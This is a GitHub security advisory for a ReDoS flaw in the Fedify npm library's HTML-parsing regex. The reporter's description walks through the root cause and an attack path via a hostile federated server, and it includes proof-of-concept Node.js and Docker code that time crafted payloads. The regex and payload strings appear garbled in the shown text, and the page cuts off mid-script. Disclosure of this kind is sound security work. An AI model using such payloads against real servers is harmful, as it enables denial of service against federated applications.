GitHub Advisoryadvisory Β· npm

GHSA-rchf-xwx2-hm93 Fedify has ReDoS Vulnerability in HTML Parsing Regex

HIGH Published 2025-12-22 Modified 2025-12-23 Official page β†—
Aliases
CVE-2025-68475
Ecosystem
npm
Packages
@fedify/fedify
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-1333
Reviewed
2025-12-22

Affected packages

β€’ npm @fedify/fedify: < 1.6.13 β†’ fixed in 1.6.13 β€’ npm @fedify/fedify: >= 1.7.0, < 1.7.14 β†’ fixed in 1.7.14 β€’ npm @fedify/fedify: >= 1.8.0, < 1.8.15 β†’ fixed in 1.8.15 β€’ npm @fedify/fedify: >= 1.9.0, < 1.9.2 β†’ fixed in 1.9.2

Description

Hi Fedify team! πŸ‘‹ Thank you for your work on Fedifyβ€”it's a fantastic library for building federated applications. While reviewing the codebase, I discovered a Regular Expression Denial of Service (ReDoS) vulnerability that I'd like to report. I hope this helps improve the project's security. --- Summary A Regular Expression Denial of Service (ReDoS) vulnerability exists in Fedify's document loader. The HTML parsing regex at `packages/fedify/src/runtime/docloader.ts:259` contains nested quantifiers that cause catastrophic backtracking when processing maliciously crafted HTML responses. An attacker-controlled federated server can respond with a small (~170 bytes) malicious HTML payload that blocks the victim's Node.js event loop for 14+ seconds, causing a Denial of Service. | Field | Value | |-------|-------| | CWE | CWE-1333 (Inefficient Regular Expression Complexity) | --- Details Vulnerable Code The vulnerability is located in `packages/fedify/src/runtime/docloader.ts`, lines 258-264: ```typescript // Line 258-259: Vulnerable regex with nested quantifiers const p = /]+))+)\s*\/?>/ig; // Line 261: No size limit on response body const html = await response.text(); // Line 264: Regex execution loop while ((m = p.exec(html)) !== null) rawAttribs.push(m[2]); ``` Root Cause Analysis The regex has nested quantifiers with alternation, which is a classic ReDoS pattern: ``` /]+))+)\s*\/?>/ig ^^ Outer quantifier (+) ^^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Inner pattern with alternation ``` β€’ Outer quantifier: `((\s+...)+)` - one or more groups of attributes β€’ Inner alternation: `("[^"]*"|'[^']*'|[^\s>]+)` - multiple ways to match attribute values When the regex fails to match (e.g., an incomplete HTML tag), the regex engine backtracks exponentially through all possible ways the nested pattern could have matched. Attack Vector 1. Victim's Fedify application calls `lookupObject("https://attacker.com/@user")` to fetch an actor profile 2. Attacker's server responds with `Content-Type: text/html` 3. The code path: `lookupObject()` β†’ `documentLoader()` β†’ `getRemoteDocument()` β†’ HTML parsing (lines 258-287) 4. Line 261: `response.text()` reads the entire body without size limits 5. Line 264: Regex execution triggers catastrophic backtracking 6. Event loop is blocked for seconds to minutes, causing DoS Why This Is Exploitable β€’ No response size limit: The HTML body is read entirely via `response.text()` without Content-Length validation β€’ No timeout by default: `AbortSignal` is optional and not enforced β€’ Remote exploitation: Attacker just needs the victim to fetch from their URL β€’ No authentication required: Federation commonly involves fetching profiles from untrusted servers β€’ Amplifiable: Multiple concurrent requests can fully disable the service --- PoC Quick Reproduction (Node.js) You can verify this vulnerability with the following standalone script: ```javascript /** β€’ Fedify ReDoS Vulnerability - Minimal PoC β€’ β€’ This script reproduces the vulnerable regex from docloader.ts β€’ and demonstrates exponential time complexity. */ // The vulnerable regex from docloader.ts:259 const VULNERABLE_REGEX = /]+))+)\s*\/?>/ig; /** β€’ Generate malicious HTML payload β€’ Pattern: ) */ function generateMaliciousPayload(repetitions) { return ']+))+)\s*\/?>/ig; let m; const rawAttribs = []; while ((m = p.exec(html)) !== null) { rawAttribs.push(m[2]); } return rawAttribs; } // Test with increasing payload sizes console.log('Fedify ReDoS Vulnerability PoC\n'); console.log('Repetitions | Payload Size | Time'); console.log('------------|--------------|--------'); for (const reps of [18, 20, 22, 24, 26, 28]) { const payload = generateMaliciousPayload(reps); const start = performance.now(); simulateVulnerableCodePath(payload); const elapsed = performance.now() - start; const timeStr = elapsed >= 1000 ? `${(elapsed / 1000).toFixed(2)}s` : `${elapsed.toFixed(0)}ms`; console.log(`${String(reps).padEnd(11)} | ${String(payload.length + ' bytes').padEnd(12)} | ${timeStr}`); // Stop if it's taking too long if (elapsed > 15000) break; } ``` Expected Output ``` Fedify ReDoS Vulnerability PoC Repetitions | Payload Size | Time ------------|--------------|-------- 18 | 111 bytes | 14ms 20 | 123 bytes | 51ms 22 | 135 bytes | 224ms 24 | 147 bytes | 852ms 26 | 159 bytes | 3.26s 28 | 171 bytes | 14.10s ``` Time approximately quadruples every 2 additional repetitions, demonstrating O(2^n) complexity. Full Docker-Based PoC For a complete demonstration, here are the Docker files to run the PoC in an isolated environment: Dockerfile ```dockerfile Dockerfile for Fedify ReDoS Vulnerability PoC FROM node:20-slim LABEL description="PoC for Fedify ReDoS vulnerability (CWE-1333)" WORKDIR /poc COPY exploit.js . CMD ["node", "exploit.js"] ``` exploit.js (Full Version) ```javascript /** β€’ Exploit Script for Fedify ReDoS PoC β€’ β€’ This script demonstrates the ReDoS vulnerability in Fedify's β€’ document loader by measuring the time it takes to process β€’ malicious HTML responses with varying payload sizes. */ // The vulnerable regex from docloader.ts:259 const VULNERABLE_REGEX = /]+))+)\s*\/?>/ig; /** β€’ Generate malicious HTML payload */ function generateMaliciousHtml(repetitions) { return ' Home `; } /** β€’ Simulate the vulnerable code path from docloader.ts */ function simulateVulnerableCodePath(html) { const p = /]+))+)\s*\/?>/ig; const p2 = /\s+([a-z][a-z:_-]*)=("([^"]*)"|'([^']*)'|([^\s>]+))/ig; let m; const rawAttribs = []; while ((m = p.exec(html)) !== null) { rawAttribs.push(m[2]); } return rawAttribs; } /** β€’ Run a single test and measure execution time */ function runTest(html, description) { const start = process.hrtime.bigint(); try { simulateVulnerableCodePath(html); } catch (e) { // Ignore errors } const end = process.hrtime.bigint(); const durationMs = Number(end - start) / 1_000_000; return { description, durationMs, payloadLength: html.length }; } /** β€’ Print separator */ function printSeparator() { console.log('─'.repeat(60)); } /** β€’ Main exploit function */ async function main() { console.log('\n╔══════════════════════════════════════════════════════════╗'); console.log('β•‘ Fedify ReDoS Vulnerability PoC β•‘'); console.log('β•‘ CWE-1333: Inefficient Regular Expression β•‘'); console.log('β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•\n'); console.log('[*] Vulnerability Location:'); console.log(' File: packages/fedify/src/runtime/docloader.ts'); console.log(' Lines: 259-264'); console.log(''); printSeparator(); console.log('[*] Testing normal HTML response...'); printSeparator…

Related

Alias Β· CVE (1)

  • CVE-2025-68475 Fedify is a TypeScript library for building federated server apps powered by ActivityPub. vulnerability

Weakness Β· CWE (1)

  • CWE-1333 Inefficient Regular Expression Complexity weakness

References